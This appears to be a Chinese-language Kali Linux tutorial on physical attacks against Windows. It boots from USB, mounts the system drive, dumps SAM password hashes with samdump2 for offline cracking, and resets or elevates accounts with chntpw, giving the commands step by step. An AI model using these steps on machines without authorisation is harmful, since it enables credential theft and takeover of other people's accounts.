Skip to content

Latest commit

 

History

History
70 lines (47 loc) · 2.18 KB

Penetration-Testing-物理攻击之samdump2与chntpw.md

File metadata and controls

70 lines (47 loc) · 2.18 KB
Raw
title date tags
Penetration Testing : 物理攻击之samdump2与chntpw
2019-11-22 08:36:10 -0800
Penetration Testing
Kali Linux

Penetration Testing : 物理攻击之 samdump2 与 chntpw

使用 samdump2 破解 Windows 密码

  1. 首先将装有 Kali linux 操作系统的 U 盘插入 PC，并通过设置 BLOS 来启动 Kali linux

  2. 通过命令查看分区情况，然后将 U 盘挂载到 Windows 操作系统的系统盘. 例如我的系统盘显示为 : /dev/sda2

fdisk -l

mount /dev/sad2 /mnt/
  1. 进入挂载目录，查看是否正确挂载. ( 如果正确显示系统盘 C 盘文件，则表示挂载成功 )
cd /mnt/

ls -la
  1. 接着进入 Windows 用于存放用户账号密码的文件夹下
cd /Windows/System32/config
  1. 使用 Kali linux 自带的 samdump2 来获取存储在 Windows 系统上的用户账号和密码. 然后可通过 cat 命令查看所有用户系统驱动器以及它们的密码散列值
samdump2 SYSTEM SAM -o sam.hash

cat sam.hash
  1. 最后可通过 Hashcat，John Ripper 或 Credump 等工具来完成对用户密码的破解

Tool

Hashcat : https://github.com/hashcat/hashcat

John Ripper : https://github.com/magnumripper/JohnTheRipper

使用 chntpw 操作 Windows 密码

chntpw 是一个 Kali linux 自带的工具，可以用于编辑 Windows 注册表、重置用户密码、将用户提升为管理员，以及其它的一些有用的选项.

前 4 步和上述 使用 samdump2 破解 Windows 密码 相同. 进入 Windows 用于存放用户账号密码的文件夹下后，运行 chntpw

chntpw SAM
  • 密码存储在 Windows 系统中的 SAM( Security Account Management ) 文件中，它是 Windows XP，Windows Vista 及 Windows 7 等用于存储用户密码的数据库文件

例如操作指定用户的SAM. ( 可通过命令 chntpw -l <sam file> 来查看 SAM 的用户列表 )

#chntpw -l <sam file>
#chntpw -u <user><sam file>

chntpw -u username SAM

执行指定的操作后即可执行命令 q 退出编辑，最后你应该可以得到确认，例如提示信息 : <SAM>-OK

Tool

chntpw : https://github.com/Tody-Guo/chntpw